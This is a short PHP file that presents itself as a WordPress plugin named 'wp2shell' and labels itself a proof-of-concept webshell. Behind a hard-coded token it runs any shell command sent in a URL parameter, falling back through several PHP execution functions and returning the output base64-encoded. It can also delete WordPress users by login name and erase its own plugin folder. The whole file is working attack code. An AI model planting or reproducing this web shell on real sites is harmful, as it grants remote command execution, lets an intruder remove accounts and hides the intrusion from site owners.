<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. Delete after testing.
*/
if (hash_equals('da8dfdbe808a05f6b13a4593589fed8e', (string) ($_GET['t'] ?? ''))) {
    if (isset($_GET['delete_user'])) {
        require_once dirname(__FILE__, 4) . '/wp-load.php';
        $user = get_user_by('login', (string) $_GET['delete_user']);
        $ok = $user && function_exists('wp_delete_user')
            ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0))
            : false;
        echo 'WP2SHELL::' . ($ok ? 'deleted' : 'failed') . '::END';
    } elseif (isset($_GET['cleanup'])) {
        $d = __DIR__;
        $ok = false;
        if (strpos(str_replace('\\', '/', $d), '/wp-content/plugins/') !== false) {
            foreach (glob($d . '/*') ?: [] as $f) { @unlink($f); }
            $ok = @rmdir($d);
        }
        echo 'WP2SHELL::' . ($ok ? 'ok' : 'fail') . '::END';
    } elseif (isset($_GET['c'])) {
        $c=$_GET['c'].' 2>&1';$o='';if(function_exists('shell_exec')){$o=@shell_exec($c);}elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}elseif(function_exists('proc_open')){$d=[['pipe','r'],['pipe','w'],['pipe','w']];$p=@proc_open($c,$d,$pi);if($p){$o=stream_get_contents($pi[1]);proc_close($p);}}else{$o='DISABLED:'.implode(',',array_filter(['shell_exec','exec','system','passthru','popen','proc_open'],function($f){return function_exists($f);}));}echo 'RXST:' . base64_encode($o===null ? '' : $o) . ':RXEND';
    }
}